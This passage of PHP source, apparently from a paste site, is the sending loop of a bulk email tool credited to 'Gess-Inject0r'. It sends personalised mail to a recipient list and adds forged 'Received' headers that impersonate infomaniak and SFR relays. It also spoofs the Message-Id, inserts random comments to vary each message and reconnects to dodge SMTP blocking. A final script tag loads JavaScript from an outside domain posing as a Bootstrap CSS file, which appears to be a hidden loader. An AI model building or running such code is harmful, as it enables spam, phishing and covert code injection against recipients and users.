  3709.         return $rply;
  3710.     }
  3711.  
  3712.     /*******************************************************************
  3713.      *                       INTERNAL FUNCTIONS                       *
  3714.      ******************************************************************/
  3715.  
  3716.     /**
  3717.      * Read in as many lines as possible
  3718.      * either before eof or socket timeout occurs on the operation.
  3719.      * With SMTP we can tell if we have more lines to read if the
  3720.      * 4th character is '-' symbol. If it is a space then we don't
  3721.      * need to read anything else.
  3722.      * @access private
  3723.      * @return string
  3724.      */
  3725.     function get_lines() {
  3726.         $data = "";
  3727.         while($str = fgets($this->smtp_conn,515)) {
  3728.             if($this->do_debug >= 4) {
  3729.                 echo "SMTP -> get_lines(): \$data was \"$data\"" .
  3730.                          $this->CRLF;
  3731.                 echo "SMTP -> get_lines(): \$str is \"$str\"" .
  3732.                          $this->CRLF;
  3733.             }
  3734.             $data .= $str;
  3735.             if($this->do_debug >= 4) {
  3736.                 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
  3737.             }
  3738.             # if the 4th character is a space then we are done reading
  3739.            # so just break the loop
  3740.            if(substr($str,3,1) == " ") { break; }
  3741.         }
  3742.         if( $this->do_debug >= 0 )
  3743.         {
  3744.             DebugData("raw", $data );
  3745.         }
  3746.         return $this->smtp_buffer = $data;
  3747.     }
  3748.  
  3749. }
  3750.  
  3751. // Well send form, start sending
  3752. if( $vForm->isValid() && $vForm->isSubmited() )
  3753. {
  3754.    
  3755.     echo "<div id=\"autoScrollBox\">\r\n";
  3756.     echo "<div class=\"autoScrollSwitcher\">AutoScroll Switcher</div>\r\n";
  3757.     echo "<div align=\"center\"><input class=\"autoScrollSwitcher\" type=\"button\" name=\"autoScrollSwitcher\" id=\"autoScrollSwitcher\" value=\"" . ( $autoscrollPage ? "Disable" : "Enable" ) . " AutoScroll\" onclick=\"switchAutoScroll();\" /></div>\r\n";
  3758.     echo "</div>\r\n";
  3759.    
  3760.     echo "<h2 class='h2green'>Building email...</h2>";
  3761.    
  3762.     $mail = new PHPMailer();
  3763.     $mail->Mailer = $basicMethod;
  3764.    
  3765.     // SMTP Config
  3766.  
  3767.     if( $mail->Mailer == "smtp" )
  3768.     {
  3769.         $mail->Host     = $SMTPServer;
  3770.         $mail->Sender   = $SMTPUsername;
  3771.         $mail->Username = $SMTPUsername;
  3772.         $mail->Password = $SMTPPassword;
  3773.         $mail->SMTPAuth = $SMTPAuth;
  3774.        
  3775.         $mail->SMTPKeepAlive = true;
  3776.         $mail->SMTPDebug = _SMTP_DEBUG_LVL_ - 1;
  3777.     }
  3778.    
  3779.     $mail->From     = $fromEmail;
  3780.     $mail->FromName = $fromName;
  3781.     $mail->Subject  = $subject;
  3782.     $mail->AddReplyTo($fromEmail, $fromName);
  3783.     $mail->AddCustomHeader("X-MSMail-Priority: Normal");
  3784.  
  3785.     $mail->Body    = $emailMessage;
  3786.    
  3787.     if( $multipartMail )
  3788.     {
  3789.         $mail->AltBody = strip_tags($emailMessage);
  3790.         $mail->AltBody = preg_replace("/[ ]{2,}/", " ", $mail->AltBody);
  3791.         $mail->AltBody = preg_replace("/([\r\n]+){2,}/", "\r\n", $mail->AltBody);
  3792.        
  3793.         // Random string to change message id
  3794.         if( $addRandomString )
  3795.         {
  3796.             $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
  3797.        
  3798.         }
  3799.     }
  3800.     else
  3801.     {
  3802.         // determines wheter the text is or not html
  3803.         if( eregi('(<[x]?html|<body|<table|<div)', $mail->Body) )
  3804.         {
  3805.             $mail->IsHTML(true);
  3806.            
  3807.             // Random string to change message id
  3808.             if( $addRandomString )
  3809.             {
  3810.                 $mail->Body = str_replace(array('<html>', '<head>','<body'), array('<html><!--%%-->', '<head><!--%%-->', '<!--%%--><body'), $mail->Body);
  3811.             }
  3812.         }
  3813.         else
  3814.         {
  3815.             $mail->IsHTML(false);
  3816.         }
  3817.     }
  3818.    
  3819.     // starting email
  3820.     if( $listStartingEmail > 1 )
  3821.     {
  3822.         $emailList = array_slice($emailList, $listStartingEmail-1);
  3823.     }
  3824.    
  3825.     // removing duplicated entries
  3826.     $emailList = array_unique($emailList);
  3827.    
  3828.     // cout number of emails
  3829.     $reportTotal = count( $emailList );
  3830.  
  3831.     // elapsed time
  3832.     $starttime = explode(" ",microtime());
  3833.     $starttime = $starttime[1] + $starttime[0];
  3834.    
  3835.     // Shows Email Information
  3836.     echo "<pre>";
  3837.     echo "<b>Method:</b> " . strtoupper($mail->Mailer) . "\r\n";
  3838.     echo "<b>Multipart:</b> " . ( $multipartMail ? "Yes" : "No" ) . "\r\n";
  3839.     echo "<b>Total to send:</b> {$reportTotal} (removed duplicated and starting on #{$listStartingEmail} email)\r\n";
  3840.     echo "<b>From:</b> {$mail->FromName} &lt;{$mail->From}&gt;\r\n";
  3841.     //echo "<b>Reply-To:</b> {$mail->ReplyTo}\r\n";
  3842.     echo "<b>Subject:</b> {$mail->Subject}\r\n";
  3843.     echo "</pre>";
  3844.    
  3845.     echo "<h2 class='h2green'>hna kan sendiw  emails...</h2>\r\n";
  3846.    
  3847.     $mail->backup = $mail->Body;
  3848.     foreach( $emailList as $k => $curEmail )
  3849.     {
  3850.        
  3851.        
  3852.         $mail->ClearAddresses();
  3853.         $hagolo = explode(';', $curEmail);
  3854.         $curEmail=$hagolo[0];
  3855.         $mail->Body = str_replace("%name%",$hagolo[1],$mail->Body);
  3856.         $subject = str_replace('%name%',$hagolo[1],$subject);
  3857.         $mail->Body = str_replace("%mail%",$hagolo[0],$mail->Body);
  3858.         $mail->Body = str_replace("%md5%",md5($hagolo[0]),$mail->Body);
  3859.         $mail->AddAddress($curEmail);
  3860.         $mail->AddCustomHeader("Received :(from httpd@localhost)by dmu102.infomaniak.ch (8.14.5/8.14.2/Submit) id t1KDKAWi013740;Fri, 20 Feb 2015 14:20:10 +0100");
  3861.         $mail->AddCustomHeader("Received :from dmu102.infomaniak.ch (dmu102.infomaniak.ch [10.3.24.3])by smith.infomaniak.ch (8.14.5/8.14.5) with ESMTP id t1KDKEeb019878for <".$curEmail.">; Fri, 20 Feb 2015 14:20:20 +0100");
  3862.         $mail->AddCustomHeader("Received :from dmu102.infomaniak.ch (localhost [127.0.0.1])by dmu102.infomaniak.ch (8.14.5/8.14.5) with ESMTP id t1KDKAlC013741for <".$curEmail.">; Fri, 20 Feb 2015 14:20:10 +0100");
  3863.         $mail->AddCustomHeader("Received :from filter.sfr.fr (localhost [84.16.66.86])by msfrf2318.sfr.fr (SMTP Server) with ESMTP id DCC2A1C006BEfor <[email protected]>; Fri, 20 Feb 2015 14:20:36 +0100 (CET)");
  3864.         $mail->AddCustomHeader("Received :from msfrf2318.sfr.fr (msfrf2318.priv.atos.fr [10.18.27.32])by msfrb0701 (Cyrus v2.3.16) with LMTPA;Fri, 20 Feb 2015 14:20:37 +0100");
  3865.         $mail->AddCustomHeader("Received :from smith.infomaniak.ch (smith.infomaniak.ch [84.16.66.86])by msfrf2318.sfr.fr (SMTP Server) with ESMTP for <".$curEmail.">;Fri, 20 Feb 2015 14:20:26 +0100 (CET)");
  3866.         $mail->AddCustomHeader("Received :from smith.infomaniak.ch (smith.infomaniak.ch [84.16.66.86])by msfrf2318.sfr.fr (SMTP Server) with ESMTP id 8155E1C006CEfor <".$curEmail.">; Fri, 20 Feb 2015 14:20:26 +0100 (CET)");
  3867.         $mail->AddCustomHeader("Message-Id: <4707777." . md5($curEmail . rand() ) . "[email protected]>");
  3868.         //$mail->AddCustomHeader("X-MimeOLE: Produced By Microsoft MimeOLE V6.10.2800.1409.". rand() . ".rg.sm31");
  3869.         $mail->Body = preg_replace("/<!--([%0-9]+)-->/","<!--" . $k . rand() . "-->", $mail->Body);
  3870.        
  3871.         $k++;
  3872.         $reportPercent = round(($k * 100)/$reportTotal, 2);
  3873.        
  3874.         echo "<div class=\"report\">{$k}) Sending to <b>" . htmlentities($curEmail)  . " NAMED : -> ".$hagolo[1]."<- </b>...";
  3875.         echo autoScrollString($curEmail, $k, $reportPercent);
  3876.        
  3877.         if( $mail->Send() )
  3878.         {
  3879.            
  3880.             // reset send errors
  3881.             $mail->SmtpSetSendError(0);
  3882.             $mail->Body = $mail->backup;
  3883.             $reportOk++;
  3884.             echo "<span class=\"reportOk\">OK!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil :{$reportErr})</div>\r\n";
  3885.         }
  3886.         else
  3887.         {
  3888.            
  3889.             $reportErr++;
  3890.             echo "<span class=\"reportErr\">ERROR!</span> ({$reportPercent}% complete | OK:{$reportOk} | Machakil:{$reportErr})</div>\r\n";
  3891.             $mail->Body = $mail->backup;
  3892.             if( ($mail->Mailer == "smtp") && ($mail->SMTPAuth == true && substr($mail->SmtpGetError(),0,4) == 'auth') )
  3893.             {
  3894.                 echo "<div class=\"reportErr\">Authentication Error, giving it up.</div>\r\n";
  3895.                 $reportErr = $reportTotal - $reportOk;
  3896.                 break;
  3897.             }
  3898.            
  3899.             if( ($mail->Mailer == "smtp") && ($mail->SmtpGetSendError() > _SMTP_MAX_ERRORS_) )
  3900.             {
  3901.                 echo "<div class=\"reportErr\">Number of followed-errors reached the limit (" . _SMTP_MAX_ERRORS_ . "), on the email #{$k}. Giving it up. </div>\r\n";
  3902.                 $reportErr = $reportTotal - $reportOk;
  3903.                 break;
  3904.             }
  3905.         }
  3906.  
  3907.        
  3908.         if( ( $mail->Mailer == "smtp" ) && ( _SMTP_RECONNECT_AFTER_ > 0 ) && ( ($k % $SMTPReconnectAfter ) == 0 ) )
  3909.         {
  3910.             echo "<div class=\"reportOk\"><b>Reconnecting to avoid SMTP block (by configuration -- reconnect after " . _SMTP_RECONNECT_AFTER_  . " emails)</b></div>\r\n";
  3911.             $mail->SmtpClose();
  3912.         }
  3913.        
  3914.         // DEMO
  3915.         /*if( $k >= 50 )
  3916.         {
  3917.             echo "<div class=\"reportErr\">DEMO VERSION limited to 50 emails. Contact Gess-Inject0r to buy the full version.</div>\r\n";
  3918.             break;
  3919.         }*/
  3920.         $mail->Body = $mail->backup;
  3921.     }
  3922.    
  3923.     // End SMTP
  3924.     if( $mail->Mailer == "smtp" && $mail->SMTPKeepAlive )
  3925.     {
  3926.         $mail->SmtpClose();
  3927.     }
  3928.    
  3929.     // End microtimer
  3930.     $endtime = explode(" ", microtime());
  3931.     $endtime = $endtime[1] + $endtime[0];
  3932.     $totaltime = round(($endtime - $starttime), 3); // faz-se a diferenca
  3933.    
  3934.     echo "<b><br /><br />\r\n";
  3935.     echo "<h2 class='h2green'>Safi salina !</h2>\r\n";
  3936.     echo "<div>{$reportTotal} emails in total</div>\r\n";
  3937.     echo "<div class=\"reportOk\">{$reportOk} sent Howa hadak (" . round(($reportOk * 100)/$reportTotal, 2) . "%)</div>\r\n";
  3938.     echo "<div class=\"reportErr\">{$reportErr} not sent  chi takwisa hadi (" . round(($reportErr * 100)/$reportTotal, 2) . "%)</div>\r\n";
  3939.     echo "<div>{$totaltime} seconds elapsed</div></b>\r\n";
  3940.     echo autoScrollString();
  3941.    
  3942.     if(  $mail->Mailer == "smtp" && _SMTP_DEBUG_LVL_ > 0 )
  3943.     {
  3944.         echo "<pre>";
  3945.         echo "<b>Debug Data:</b>\r\n";
  3946.         echo DebugData();
  3947.         echo "</pre>";
  3948.     }
  3949.    
  3950.     /*echo "<pre>";
  3951.     print_r( $mail );
  3952.     echo "</pre>";*/
  3953.     unset( $mail );
  3954. }
  3955.  
  3956. ####!DELIMITER!####
  3957.  
  3958.  
  3959. /* BUILT BY R3V3NG4NS <Gess-Inject0r at gmail dot com> 1f81fda9d1c4b76fc3bde395b98cfb21-1181759341-vafrp */
  3960.  
  3961. }
  3962. ?>
  3963. <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  3964.  
  3965. </body>
  3966. </html>
Add Comment
Please, Sign In to add comment